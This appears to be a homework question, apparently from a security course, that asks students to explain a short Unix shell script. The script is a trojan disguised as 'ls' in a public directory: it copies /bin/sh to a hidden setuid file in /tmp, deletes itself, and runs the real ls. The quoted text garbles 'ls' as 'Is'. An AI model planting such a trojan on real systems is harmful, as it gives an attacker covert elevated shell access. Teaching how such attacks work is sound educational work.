If you can answer ASAP I will really appreciate it :)

cp /bin/sh /tmp/.xxsh chmod u+s,o+x/tmp/.xxsh rm./Is Is $* The above code segment written in the UNIX shell script language is a script file placed to a publicly accessible directory by an attacker. The file is named as "Is". Explain what attack is carried out with this file and how it works. (10 points)